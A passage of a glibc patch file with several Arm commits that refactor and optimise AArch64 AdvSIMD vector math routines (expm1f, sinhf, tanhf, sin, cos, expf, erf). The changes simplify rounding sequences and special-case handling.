++  /* Scale up to ensure that the scale factor is representable as normalised
++     fp32 number, and scale m down accordingly.  */
++  float32x4_t s = vreinterpretq_f32_u32 (vsubq_u32 (d->four, ku));
++
++  /* Scale x by exponent manipulation.  */
+   float32x4_t m_scale
+       = vreinterpretq_f32_u32 (vsubq_u32 (vreinterpretq_u32_f32 (x), ku));
+   m_scale = vaddq_f32 (m_scale, vfmaq_f32 (v_f32 (-1.0f), v_f32 (0.25f), s));
+-  float32x4_t p = eval_poly (m_scale, d.poly);
++
++  /* Evaluate polynomial on the reduced interval.  */
++  float32x4_t p = eval_poly (m_scale, d);
++
++  /* The scale factor to be applied back at the end - by multiplying float(k)
++     by 2^-23 we get the unbiased exponent of k.  */
+   float32x4_t scale_back = vmulq_f32 (vcvtq_f32_s32 (k), v_f32 (0x1.0p-23f));
+-  return vfmaq_f32 (p, scale_back, d.ln2);
++
++  /* Apply the scaling back.  */
++  return vfmaq_f32 (p, scale_back, d->ln2);
+ }
+ 
+ #endif
+
+commit a947a43b95bbea53ec50df058b42392fd5ea52b6
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Mon Sep 23 15:32:53 2024 +0100
+
+    AArch64: Improve codegen in users of ADVSIMD expm1f helper
+    
+    Rearrange operations so MOV is not necessary in reduction or around
+    the special-case handler.  Reduce memory access by using more indexed
+    MLAs in polynomial.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 7900ac490db32f6bccff812733f00280dde34e27)
+
+diff --git a/sysdeps/aarch64/fpu/expm1f_advsimd.c b/sysdeps/aarch64/fpu/expm1f_advsimd.c
+index a0616ec754..8303ca296e 100644
+--- a/sysdeps/aarch64/fpu/expm1f_advsimd.c
++++ b/sysdeps/aarch64/fpu/expm1f_advsimd.c
+@@ -18,27 +18,18 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f32.h"
++#include "v_expm1f_inline.h"
+ 
+ static const struct data
+ {
+-  float32x4_t poly[5];
+-  float invln2_and_ln2[4];
+-  float32x4_t shift;
+-  int32x4_t exponent_bias;
++  struct v_expm1f_data d;
+ #if WANT_SIMD_EXCEPT
+   uint32x4_t thresh;
+ #else
+   float32x4_t oflow_bound;
+ #endif
+ } data = {
+-  /* Generated using fpminimax with degree=5 in [-log(2)/2, log(2)/2].  */
+-  .poly = { V4 (0x1.fffffep-2), V4 (0x1.5554aep-3), V4 (0x1.555736p-5),
+-	    V4 (0x1.12287cp-7), V4 (0x1.6b55a2p-10) },
+-  /* Stores constants: invln2, ln2_hi, ln2_lo, 0.  */
+-  .invln2_and_ln2 = { 0x1.715476p+0f, 0x1.62e4p-1f, 0x1.7f7d1cp-20f, 0 },
+-  .shift = V4 (0x1.8p23f),
+-  .exponent_bias = V4 (0x3f800000),
++  .d = V_EXPM1F_DATA,
+ #if !WANT_SIMD_EXCEPT
+   /* Value above which expm1f(x) should overflow. Absolute value of the
+      underflow bound is greater than this, so it catches both cases - there is
+@@ -55,67 +46,38 @@ static const struct data
+ #define TinyBound v_u32 (0x34000000 << 1)
+ 
+ static float32x4_t VPCS_ATTR NOINLINE
+-special_case (float32x4_t x, float32x4_t y, uint32x4_t special)
++special_case (float32x4_t x, uint32x4_t special, const struct data *d)
+ {
+-  return v_call_f32 (expm1f, x, y, special);
++  return v_call_f32 (
++      expm1f, x, expm1f_inline (v_zerofy_f32 (x, special), &d->d), special);
+ }
+ 
+ /* Single-precision vector exp(x) - 1 function.
+-   The maximum error is 1.51 ULP:
+-   _ZGVnN4v_expm1f (0x1.8baa96p-2) got 0x1.e2fb9p-2
+-				  want 0x1.e2fb94p-2.  */
++   The maximum error is 1.62 ULP:
++   _ZGVnN4v_expm1f(0x1.85f83p-2) got 0x1.da9f4p-2
++				want 0x1.da9f44p-2.  */
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (expm1) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  uint32x4_t ix = vreinterpretq_u32_f32 (x);
+ 
+ #if WANT_SIMD_EXCEPT
++  uint32x4_t ix = vreinterpretq_u32_f32 (x);
+   /* If fp exceptions are to be triggered correctly, fall back to scalar for
+      |x| < 2^-23, |x| > oflow_bound, Inf & NaN. Add ix to itself for
+      shift-left by 1, and compare with thresh which was left-shifted offline -
+      this is effectively an absolute compare.  */
+   uint32x4_t special
+       = vcgeq_u32 (vsubq_u32 (vaddq_u32 (ix, ix), TinyBound), d->thresh);
+-  if (__glibc_unlikely (v_any_u32 (special)))
+-    x = v_zerofy_f32 (x, special);
+ #else
+   /* Handles very large values (+ve and -ve), +/-NaN, +/-Inf.  */
+   uint32x4_t special = vcagtq_f32 (x, d->oflow_bound);
+ #endif
+ 
+-  /* Reduce argument to smaller range:
+-     Let i = round(x / ln2)
+-     and f = x - i * ln2, then f is in [-ln2/2, ln2/2].
+-     exp(x) - 1 = 2^i * (expm1(f) + 1) - 1
+-     where 2^i is exact because i is an integer.  */
+-  float32x4_t invln2_and_ln2 = vld1q_f32 (d->invln2_and_ln2);
+-  float32x4_t j
+-      = vsubq_f32 (vfmaq_laneq_f32 (d->shift, x, invln2_and_ln2, 0), d->shift);
+-  int32x4_t i = vcvtq_s32_f32 (j);
+-  float32x4_t f = vfmsq_laneq_f32 (x, j, invln2_and_ln2, 1);
+-  f = vfmsq_laneq_f32 (f, j, invln2_and_ln2, 2);
+-
+-  /* Approximate expm1(f) using polynomial.
+-     Taylor expansion for expm1(x) has the form:
+-	 x + ax^2 + bx^3 + cx^4 ....
+-     So we calculate the polynomial P(f) = a + bf + cf^2 + ...
+-     and assemble the approximation expm1(f) ~= f + f^2 * P(f).  */
+-  float32x4_t p = v_horner_4_f32 (f, d->poly);
+-  p = vfmaq_f32 (f, vmulq_f32 (f, f), p);
+-
+-  /* Assemble the result.
+-     expm1(x) ~= 2^i * (p + 1) - 1
+-     Let t = 2^i.  */
+-  int32x4_t u = vaddq_s32 (vshlq_n_s32 (i, 23), d->exponent_bias);
+-  float32x4_t t = vreinterpretq_f32_s32 (u);
+-
+   if (__glibc_unlikely (v_any_u32 (special)))
+-    return special_case (vreinterpretq_f32_u32 (ix),
+-			 vfmaq_f32 (vsubq_f32 (t, v_f32 (1.0f)), p, t),
+-			 special);
++    return special_case (x, special, d);
+ 
+   /* expm1(x) ~= p * t + (t - 1).  */
+-  return vfmaq_f32 (vsubq_f32 (t, v_f32 (1.0f)), p, t);
++  return expm1f_inline (x, &d->d);
+ }
+ libmvec_hidden_def (V_NAME_F1 (expm1))
+ HALF_WIDTH_ALIAS_F1 (expm1)
+diff --git a/sysdeps/aarch64/fpu/sinhf_advsimd.c b/sysdeps/aarch64/fpu/sinhf_advsimd.c
+index 6bb7482dc2..c6ed7598e7 100644
+--- a/sysdeps/aarch64/fpu/sinhf_advsimd.c
++++ b/sysdeps/aarch64/fpu/sinhf_advsimd.c
+@@ -23,15 +23,13 @@
+ static const struct data
+ {
+   struct v_expm1f_data expm1f_consts;
+-  uint32x4_t halff;
+ #if WANT_SIMD_EXCEPT
+   uint32x4_t tiny_bound, thresh;
+ #else
+-  uint32x4_t oflow_bound;
++  float32x4_t oflow_bound;
+ #endif
+ } data = {
+   .expm1f_consts = V_EXPM1F_DATA,
+-  .halff = V4 (0x3f000000),
+ #if WANT_SIMD_EXCEPT
+   /* 0x1.6a09e8p-32, below which expm1f underflows.  */
+   .tiny_bound = V4 (0x2fb504f4),
+@@ -39,14 +37,15 @@ static const struct data
+   .thresh = V4 (0x12fbbbb3),
+ #else
+   /* 0x1.61814ep+6, above which expm1f helper overflows.  */
+-  .oflow_bound = V4 (0x42b0c0a7),
++  .oflow_bound = V4 (0x1.61814ep+6),
+ #endif
+ };
+ 
+ static float32x4_t NOINLINE VPCS_ATTR
+-special_case (float32x4_t x, float32x4_t y, uint32x4_t special)
++special_case (float32x4_t x, float32x4_t t, float32x4_t halfsign,
++	      uint32x4_t special)
+ {
+-  return v_call_f32 (sinhf, x, y, special);
++  return v_call_f32 (sinhf, x, vmulq_f32 (t, halfsign), special);
+ }
+ 
+ /* Approximation for vector single-precision sinh(x) using expm1.
+@@ -60,15 +59,15 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (sinh) (float32x4_t x)
+ 
+   uint32x4_t ix = vreinterpretq_u32_f32 (x);
+   float32x4_t ax = vabsq_f32 (x);
+-  uint32x4_t iax = vreinterpretq_u32_f32 (ax);
+-  uint32x4_t sign = veorq_u32 (ix, iax);
+-  float32x4_t halfsign = vreinterpretq_f32_u32 (vorrq_u32 (sign, d->halff));
++  float32x4_t halfsign = vreinterpretq_f32_u32 (
++      vbslq_u32 (v_u32 (0x80000000), ix, vreinterpretq_u32_f32 (v_f32 (0.5))));
+ 
+ #if WANT_SIMD_EXCEPT
+-  uint32x4_t special = vcgeq_u32 (vsubq_u32 (iax, d->tiny_bound), d->thresh);
++  uint32x4_t special = vcgeq_u32 (
++      vsubq_u32 (vreinterpretq_u32_f32 (ax), d->tiny_bound), d->thresh);
+   ax = v_zerofy_f32 (ax, special);
+ #else
+-  uint32x4_t special = vcgeq_u32 (iax, d->oflow_bound);
++  uint32x4_t special = vcageq_f32 (x, d->oflow_bound);
+ #endif
+ 
+   /* Up to the point that expm1f overflows, we can use it to calculate sinhf
+@@ -80,7 +79,7 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (sinh) (float32x4_t x)
+   /* Fall back to the scalar variant for any lanes that should trigger an
+      exception.  */
+   if (__glibc_unlikely (v_any_u32 (special)))
+-    return special_case (x, vmulq_f32 (t, halfsign), special);
++    return special_case (x, t, halfsign, special);
+ 
+   return vmulq_f32 (t, halfsign);
+ }
+diff --git a/sysdeps/aarch64/fpu/tanhf_advsimd.c b/sysdeps/aarch64/fpu/tanhf_advsimd.c
+index 50defd6ef0..3ced9b7a41 100644
+--- a/sysdeps/aarch64/fpu/tanhf_advsimd.c
++++ b/sysdeps/aarch64/fpu/tanhf_advsimd.c
+@@ -28,13 +28,16 @@ static const struct data
+   /* 0x1.205966p+3, above which tanhf rounds to 1 (or -1 for  negative).  */
+   .boring_bound = V4 (0x41102cb3),
+   .large_bound = V4 (0x7f800000),
+-  .onef = V4 (0x3f800000),
+ };
+ 
+ static float32x4_t NOINLINE VPCS_ATTR
+-special_case (float32x4_t x, float32x4_t y, uint32x4_t special)
++special_case (float32x4_t x, uint32x4_t is_boring, float32x4_t boring,
++	      float32x4_t q, uint32x4_t special)
+ {
+-  return v_call_f32 (tanhf, x, y, special);
++  return v_call_f32 (
++      tanhf, x,
++      vbslq_f32 (is_boring, boring, vdivq_f32 (q, vaddq_f32 (q, v_f32 (2.0)))),
++      special);
+ }
+ 
+ /* Approximation for single-precision vector tanh(x), using a simplified
+@@ -50,7 +53,9 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (tanh) (float32x4_t x)
+   uint32x4_t iax = vreinterpretq_u32_f32 (ax);
+   uint32x4_t sign = veorq_u32 (ix, iax);
+   uint32x4_t is_boring = vcgtq_u32 (iax, d->boring_bound);
+-  float32x4_t boring = vreinterpretq_f32_u32 (vorrq_u32 (sign, d->onef));
++  /* expm1 exponent bias is 1.0f reinterpreted to int.  */
++  float32x4_t boring = vreinterpretq_f32_u32 (vorrq_u32 (
++      sign, vreinterpretq_u32_s32 (d->expm1f_consts.exponent_bias)));
+ 
+ #if WANT_SIMD_EXCEPT
+   /* If fp exceptions are to be triggered properly, set all special and boring
+@@ -66,10 +71,12 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (tanh) (float32x4_t x)
+ 
+   /* tanh(x) = (e^2x - 1) / (e^2x + 1).  */
+   float32x4_t q = expm1f_inline (vmulq_n_f32 (x, 2), &d->expm1f_consts);
+-  float32x4_t y = vdivq_f32 (q, vaddq_f32 (q, v_f32 (2.0)));
++
+   if (__glibc_unlikely (v_any_u32 (special)))
+-    return special_case (vreinterpretq_f32_u32 (ix),
+-			 vbslq_f32 (is_boring, boring, y), special);
++    return special_case (vreinterpretq_f32_u32 (ix), is_boring, boring, q,
++			 special);
++
++  float32x4_t y = vdivq_f32 (q, vaddq_f32 (q, v_f32 (2.0)));
+   return vbslq_f32 (is_boring, boring, y);
+ }
+ libmvec_hidden_def (V_NAME_F1 (tanh))
+diff --git a/sysdeps/aarch64/fpu/v_expm1f_inline.h b/sysdeps/aarch64/fpu/v_expm1f_inline.h
+index 59b552da6b..1daedfdd51 100644
+--- a/sysdeps/aarch64/fpu/v_expm1f_inline.h
++++ b/sysdeps/aarch64/fpu/v_expm1f_inline.h
+@@ -21,48 +21,47 @@
+ #define AARCH64_FPU_V_EXPM1F_INLINE_H
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f32.h"
++#include "math_config.h"
+ 
+ struct v_expm1f_data
+ {
+-  float32x4_t poly[5];
+-  float invln2_and_ln2[4];
+-  float32x4_t shift;
++  float32x4_t c0, c2;
+   int32x4_t exponent_bias;
++  float c1, c3, inv_ln2, c4;
++  float ln2_hi, ln2_lo;
+ };
+ 
+ /* Coefficients generated using fpminimax with degree=5 in [-log(2)/2,
+-   log(2)/2]. Exponent bias is asuint(1.0f).
+-   invln2_and_ln2 Stores constants: invln2, ln2_lo, ln2_hi, 0.  */
++   log(2)/2]. Exponent bias is asuint(1.0f).  */
+ #define V_EXPM1F_DATA                                                         \
+   {                                                                           \
+-    .poly = { V4 (0x1.fffffep-2), V4 (0x1.5554aep-3), V4 (0x1.555736p-5),     \
+-	      V4 (0x1.12287cp-7), V4 (0x1.6b55a2p-10) },                      \
+-    .shift = V4 (0x1.8p23f), .exponent_bias = V4 (0x3f800000),                \
+-    .invln2_and_ln2 = { 0x1.715476p+0f, 0x1.62e4p-1f, 0x1.7f7d1cp-20f, 0 },   \
++    .c0 = V4 (0x1.fffffep-2), .c1 = 0x1.5554aep-3, .c2 = V4 (0x1.555736p-5),  \
++    .c3 = 0x1.12287cp-7, .c4 = 0x1.6b55a2p-10,                                \
++    .exponent_bias = V4 (0x3f800000), .inv_ln2 = 0x1.715476p+0f,              \
++    .ln2_hi = 0x1.62e4p-1f, .ln2_lo = 0x1.7f7d1cp-20f,                        \
+   }
+ 
+ static inline float32x4_t
+ expm1f_inline (float32x4_t x, const struct v_expm1f_data *d)
+ {
+-  /* Helper routine for calculating exp(x) - 1.
+-     Copied from v_expm1f_1u6.c, with all special-case handling removed - the
+-     calling routine should handle special values if required.  */
++  /* Helper routine for calculating exp(x) - 1.  */
++
++  float32x2_t ln2 = vld1_f32 (&d->ln2_hi);
++  float32x4_t lane_consts = vld1q_f32 (&d->c1);
+ 
+   /* Reduce argument: f in [-ln2/2, ln2/2], i is exact.  */
+-  float32x4_t invln2_and_ln2 = vld1q_f32 (d->invln2_and_ln2);
+-  float32x4_t j
+-      = vsubq_f32 (vfmaq_laneq_f32 (d->shift, x, invln2_and_ln2, 0), d->shift);
++  float32x4_t j = vrndaq_f32 (vmulq_laneq_f32 (x, lane_consts, 2));
+   int32x4_t i = vcvtq_s32_f32 (j);
+-  float32x4_t f = vfmsq_laneq_f32 (x, j, invln2_and_ln2, 1);
+-  f = vfmsq_laneq_f32 (f, j, invln2_and_ln2, 2);
++  float32x4_t f = vfmsq_lane_f32 (x, j, ln2, 0);
++  f = vfmsq_lane_f32 (f, j, ln2, 1);
+ 
+-  /* Approximate expm1(f) with polynomial P, expm1(f) ~= f + f^2 * P(f).
+-     Uses Estrin scheme, where the main _ZGVnN4v_expm1f routine uses
+-     Horner.  */
++  /* Approximate expm1(f) with polynomial P, expm1(f) ~= f + f^2 * P(f).  */
+   float32x4_t f2 = vmulq_f32 (f, f);
+   float32x4_t f4 = vmulq_f32 (f2, f2);
+-  float32x4_t p = v_estrin_4_f32 (f, f2, f4, d->poly);
++  float32x4_t p01 = vfmaq_laneq_f32 (d->c0, f, lane_consts, 0);
++  float32x4_t p23 = vfmaq_laneq_f32 (d->c2, f, lane_consts, 1);
++  float32x4_t p = vfmaq_f32 (p01, f2, p23);
++  p = vfmaq_laneq_f32 (p, f4, lane_consts, 3);
+   p = vfmaq_f32 (f, f2, p);
+ 
+   /* t = 2^i.  */
+
+commit 68f2eb20de698675ddc74068c2cd03fee29207df
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Mon Sep 23 15:33:31 2024 +0100
+
+    AArch64: Simplify rounding-multiply pattern in several AdvSIMD routines
+    
+    This operation can be simplified to use simpler multiply-round-convert
+    sequence, which uses fewer instructions and constants.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 16a59571e4e9fd019d3fc23a2e7d73c1df8bb5cb)
+
+diff --git a/sysdeps/aarch64/fpu/cos_advsimd.c b/sysdeps/aarch64/fpu/cos_advsimd.c
+index 3924c9ce44..11a89b1530 100644
+--- a/sysdeps/aarch64/fpu/cos_advsimd.c
++++ b/sysdeps/aarch64/fpu/cos_advsimd.c
+@@ -22,7 +22,7 @@
+ static const struct data
+ {
+   float64x2_t poly[7];
+-  float64x2_t range_val, shift, inv_pi, half_pi, pi_1, pi_2, pi_3;
++  float64x2_t range_val, inv_pi, pi_1, pi_2, pi_3;
+ } data = {
+   /* Worst-case error is 3.3 ulp in [-pi/2, pi/2].  */
+   .poly = { V2 (-0x1.555555555547bp-3), V2 (0x1.1111111108a4dp-7),
+@@ -30,11 +30,9 @@ static const struct data
+ 	    V2 (-0x1.ae633919987c6p-26), V2 (0x1.60e277ae07cecp-33),
+ 	    V2 (-0x1.9e9540300a1p-41) },
+   .inv_pi = V2 (0x1.45f306dc9c883p-2),
+-  .half_pi = V2 (0x1.921fb54442d18p+0),
+   .pi_1 = V2 (0x1.921fb54442d18p+1),
+   .pi_2 = V2 (0x1.1a62633145c06p-53),
+   .pi_3 = V2 (0x1.c1cd129024e09p-106),
+-  .shift = V2 (0x1.8p52),
+   .range_val = V2 (0x1p23)
+ };
+ 
+@@ -68,10 +66,9 @@ float64x2_t VPCS_ATTR V_NAME_D1 (cos) (float64x2_t x)
+ #endif
+ 
+   /* n = rint((|x|+pi/2)/pi) - 0.5.  */
+-  n = vfmaq_f64 (d->shift, d->inv_pi, vaddq_f64 (r, d->half_pi));
+-  odd = vshlq_n_u64 (vreinterpretq_u64_f64 (n), 63);
+-  n = vsubq_f64 (n, d->shift);
+-  n = vsubq_f64 (n, v_f64 (0.5));
++  n = vrndaq_f64 (vfmaq_f64 (v_f64 (0.5), r, d->inv_pi));
++  odd = vshlq_n_u64 (vreinterpretq_u64_s64 (vcvtq_s64_f64 (n)), 63);
++  n = vsubq_f64 (n, v_f64 (0.5f));
+ 
+   /* r = |x| - n*pi  (range reduction into -pi/2 .. pi/2).  */
+   r = vfmsq_f64 (r, d->pi_1, n);
+diff --git a/sysdeps/aarch64/fpu/cosf_advsimd.c b/sysdeps/aarch64/fpu/cosf_advsimd.c
+index d0c285b03a..85a1b37373 100644
+--- a/sysdeps/aarch64/fpu/cosf_advsimd.c
++++ b/sysdeps/aarch64/fpu/cosf_advsimd.c
+@@ -22,7 +22,7 @@
+ static const struct data
+ {
+   float32x4_t poly[4];
+-  float32x4_t range_val, inv_pi, half_pi, shift, pi_1, pi_2, pi_3;
++  float32x4_t range_val, inv_pi, pi_1, pi_2, pi_3;
+ } data = {
+   /* 1.886 ulp error.  */
+   .poly = { V4 (-0x1.555548p-3f), V4 (0x1.110df4p-7f), V4 (-0x1.9f42eap-13f),
+@@ -33,8 +33,6 @@ static const struct data
+   .pi_3 = V4 (-0x1.ee59dap-49f),
+ 
+   .inv_pi = V4 (0x1.45f306p-2f),
+-  .shift = V4 (0x1.8p+23f),
+-  .half_pi = V4 (0x1.921fb6p0f),
+   .range_val = V4 (0x1p20f)
+ };
+ 
+@@ -69,9 +67,8 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (cos) (float32x4_t x)
+ #endif
+ 
+   /* n = rint((|x|+pi/2)/pi) - 0.5.  */
+-  n = vfmaq_f32 (d->shift, d->inv_pi, vaddq_f32 (r, d->half_pi));
+-  odd = vshlq_n_u32 (vreinterpretq_u32_f32 (n), 31);
+-  n = vsubq_f32 (n, d->shift);
++  n = vrndaq_f32 (vfmaq_f32 (v_f32 (0.5), r, d->inv_pi));
++  odd = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtq_s32_f32 (n)), 31);
+   n = vsubq_f32 (n, v_f32 (0.5f));
+ 
+   /* r = |x| - n*pi  (range reduction into -pi/2 .. pi/2).  */
+diff --git a/sysdeps/aarch64/fpu/expf_advsimd.c b/sysdeps/aarch64/fpu/expf_advsimd.c
+index 99d2e647aa..5c9cb72620 100644
+--- a/sysdeps/aarch64/fpu/expf_advsimd.c
++++ b/sysdeps/aarch64/fpu/expf_advsimd.c
+@@ -22,7 +22,7 @@
+ static const struct data
+ {
+   float32x4_t poly[5];
+-  float32x4_t shift, inv_ln2, ln2_hi, ln2_lo;
++  float32x4_t inv_ln2, ln2_hi, ln2_lo;
+   uint32x4_t exponent_bias;
+ #if !WANT_SIMD_EXCEPT
+   float32x4_t special_bound, scale_thresh;
+@@ -31,7 +31,6 @@ static const struct data
+   /* maxerr: 1.45358 +0.5 ulp.  */
+   .poly = { V4 (0x1.0e4020p-7f), V4 (0x1.573e2ep-5f), V4 (0x1.555e66p-3f),
+ 	    V4 (0x1.fffdb6p-2f), V4 (0x1.ffffecp-1f) },
+-  .shift = V4 (0x1.8p23f),
+   .inv_ln2 = V4 (0x1.715476p+0f),
+   .ln2_hi = V4 (0x1.62e4p-1f),
+   .ln2_lo = V4 (0x1.7f7d1cp-20f),
+@@ -85,7 +84,7 @@ special_case (float32x4_t poly, float32x4_t n, uint32x4_t e, uint32x4_t cmp1,
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (exp) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  float32x4_t n, r, r2, scale, p, q, poly, z;
++  float32x4_t n, r, r2, scale, p, q, poly;
+   uint32x4_t cmp, e;
+ 
+ #if WANT_SIMD_EXCEPT
+@@ -104,11 +103,10 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (exp) (float32x4_t x)
+ 
+   /* exp(x) = 2^n (1 + poly(r)), with 1 + poly(r) in [1/sqrt(2),sqrt(2)]
+      x = ln2*n + r, with r in [-ln2/2, ln2/2].  */
+-  z = vfmaq_f32 (d->shift, x, d->inv_ln2);
+-  n = vsubq_f32 (z, d->shift);
++  n = vrndaq_f32 (vmulq_f32 (x, d->inv_ln2));
+   r = vfmsq_f32 (x, n, d->ln2_hi);
+   r = vfmsq_f32 (r, n, d->ln2_lo);
+-  e = vshlq_n_u32 (vreinterpretq_u32_f32 (z), 23);
++  e = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtq_s32_f32 (n)), 23);
+   scale = vreinterpretq_f32_u32 (vaddq_u32 (e, d->exponent_bias));
+ 
+ #if !WANT_SIMD_EXCEPT
+diff --git a/sysdeps/aarch64/fpu/sin_advsimd.c b/sysdeps/aarch64/fpu/sin_advsimd.c
+index a0d9d3b819..718125cbad 100644
+--- a/sysdeps/aarch64/fpu/sin_advsimd.c
++++ b/sysdeps/aarch64/fpu/sin_advsimd.c
+@@ -22,7 +22,7 @@
+ static const struct data
+ {
+   float64x2_t poly[7];
+-  float64x2_t range_val, inv_pi, shift, pi_1, pi_2, pi_3;
++  float64x2_t range_val, inv_pi, pi_1, pi_2, pi_3;
+ } data = {
+   .poly = { V2 (-0x1.555555555547bp-3), V2 (0x1.1111111108a4dp-7),
+ 	    V2 (-0x1.a01a019936f27p-13), V2 (0x1.71de37a97d93ep-19),
+@@ -34,12 +34,13 @@ static const struct data
+   .pi_1 = V2 (0x1.921fb54442d18p+1),
+   .pi_2 = V2 (0x1.1a62633145c06p-53),
+   .pi_3 = V2 (0x1.c1cd129024e09p-106),
+-  .shift = V2 (0x1.8p52),
+ };
+ 
+ #if WANT_SIMD_EXCEPT
+-# define TinyBound v_u64 (0x3000000000000000) /* asuint64 (0x1p-255).  */
+-# define Thresh v_u64 (0x1160000000000000)    /* RangeVal - TinyBound.  */
++/* asuint64(0x1p-253)), below which multiply by inv_pi underflows.  */
++# define TinyBound v_u64 (0x3020000000000000)
++/* RangeVal - TinyBound.  */
++# define Thresh v_u64 (0x1160000000000000)
+ #endif
+ 
+ #define C(i) d->poly[i]
+@@ -72,16 +73,15 @@ float64x2_t VPCS_ATTR V_NAME_D1 (sin) (float64x2_t x)
+      fenv). These lanes will be fixed by special-case handler later.  */
+   uint64x2_t ir = vreinterpretq_u64_f64 (vabsq_f64 (x));
+   cmp = vcgeq_u64 (vsubq_u64 (ir, TinyBound), Thresh);
+-  r = vbslq_f64 (cmp, vreinterpretq_f64_u64 (cmp), x);
++  r = vreinterpretq_f64_u64 (vbicq_u64 (vreinterpretq_u64_f64 (x), cmp));
+ #else
+   r = x;
+   cmp = vcageq_f64 (x, d->range_val);
+ #endif
+ 
+   /* n = rint(|x|/pi).  */
+-  n = vfmaq_f64 (d->shift, d->inv_pi, r);
+-  odd = vshlq_n_u64 (vreinterpretq_u64_f64 (n), 63);
+-  n = vsubq_f64 (n, d->shift);
++  n = vrndaq_f64 (vmulq_f64 (r, d->inv_pi));
++  odd = vshlq_n_u64 (vreinterpretq_u64_s64 (vcvtq_s64_f64 (n)), 63);
+ 
+   /* r = |x| - n*pi  (range reduction into -pi/2 .. pi/2).  */
+   r = vfmsq_f64 (r, d->pi_1, n);
+diff --git a/sysdeps/aarch64/fpu/sinf_advsimd.c b/sysdeps/aarch64/fpu/sinf_advsimd.c
+index 375dfc3331..6ee9a23d5b 100644
+--- a/sysdeps/aarch64/fpu/sinf_advsimd.c
++++ b/sysdeps/aarch64/fpu/sinf_advsimd.c
+@@ -22,7 +22,7 @@
+ static const struct data
+ {
+   float32x4_t poly[4];
+-  float32x4_t range_val, inv_pi, shift, pi_1, pi_2, pi_3;
++  float32x4_t range_val, inv_pi, pi_1, pi_2, pi_3;
+ } data = {
+   /* 1.886 ulp error.  */
+   .poly = { V4 (-0x1.555548p-3f), V4 (0x1.110df4p-7f), V4 (-0x1.9f42eap-13f),
+@@ -33,13 +33,14 @@ static const struct data
+   .pi_3 = V4 (-0x1.ee59dap-49f),
+ 
+   .inv_pi = V4 (0x1.45f306p-2f),
+-  .shift = V4 (0x1.8p+23f),
+   .range_val = V4 (0x1p20f)
+ };
+ 
+ #if WANT_SIMD_EXCEPT
+-# define TinyBound v_u32 (0x21000000) /* asuint32(0x1p-61f).  */
+-# define Thresh v_u32 (0x28800000)    /* RangeVal - TinyBound.  */
++/* asuint32(0x1p-59f), below which multiply by inv_pi underflows.  */
++# define TinyBound v_u32 (0x22000000)
++/* RangeVal - TinyBound.  */
++# define Thresh v_u32 (0x27800000)
+ #endif
+ 
+ #define C(i) d->poly[i]
+@@ -64,23 +65,22 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (sin) (float32x4_t x)
+   /* If fenv exceptions are to be triggered correctly, set any special lanes
+      to 1 (which is neutral w.r.t. fenv). These lanes will be fixed by
+      special-case handler later.  */
+-  r = vbslq_f32 (cmp, vreinterpretq_f32_u32 (cmp), x);
++  r = vreinterpretq_f32_u32 (vbicq_u32 (vreinterpretq_u32_f32 (x), cmp));
+ #else
+   r = x;
+   cmp = vcageq_f32 (x, d->range_val);
+ #endif
+ 
+-  /* n = rint(|x|/pi) */
+-  n = vfmaq_f32 (d->shift, d->inv_pi, r);
+-  odd = vshlq_n_u32 (vreinterpretq_u32_f32 (n), 31);
+-  n = vsubq_f32 (n, d->shift);
++  /* n = rint(|x|/pi).  */
++  n = vrndaq_f32 (vmulq_f32 (r, d->inv_pi));
++  odd = vshlq_n_u32 (vreinterpretq_u32_s32 (vcvtq_s32_f32 (n)), 31);
+ 
+-  /* r = |x| - n*pi  (range reduction into -pi/2 .. pi/2) */
++  /* r = |x| - n*pi  (range reduction into -pi/2 .. pi/2).  */
+   r = vfmsq_f32 (r, d->pi_1, n);
+   r = vfmsq_f32 (r, d->pi_2, n);
+   r = vfmsq_f32 (r, d->pi_3, n);
+ 
+-  /* y = sin(r) */
++  /* y = sin(r).  */
+   r2 = vmulq_f32 (r, r);
+   y = vfmaq_f32 (C (2), C (3), r2);
+   y = vfmaq_f32 (C (1), y, r2);
+
+commit 9ff7559b274eb0dbce2cbcf87284c1d30d47a2d6
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Mon Oct 28 14:58:35 2024 +0000
+
+    AArch64: Small optimisation in AdvSIMD erf and erfc
+    
+    In both routines, reduce register pressure such that GCC 14 emits no
+    spills for erf and fewer spills for erfc.  Also use more efficient
+    comparison for the special-case in erf.
+    
+    Benchtests show erf improves by 6.4%, erfc by 1.0%.
+    
+    (cherry picked from commit 1cf29fbc5be23db775d1dfa6b332ded6e6554252)
+
+diff --git a/sysdeps/aarch64/fpu/erf_advsimd.c b/sysdeps/aarch64/fpu/erf_advsimd.c
+index 19cbb7d0f4..c0116735e4 100644
+--- a/sysdeps/aarch64/fpu/erf_advsimd.c
++++ b/sysdeps/aarch64/fpu/erf_advsimd.c
+@@ -22,19 +22,21 @@
+ static const struct data
+ {
+   float64x2_t third;
+-  float64x2_t tenth, two_over_five, two_over_fifteen;
+-  float64x2_t two_over_nine, two_over_fortyfive;
++  float64x2_t tenth, two_over_five, two_over_nine;
++  double two_over_fifteen, two_over_fortyfive;
+   float64x2_t max, shift;
++  uint64x2_t max_idx;
+ #if WANT_SIMD_EXCEPT
+   float64x2_t tiny_bound, huge_bound, scale_minus_one;
+ #endif
+ } data = {
++  .max_idx = V2 (768),
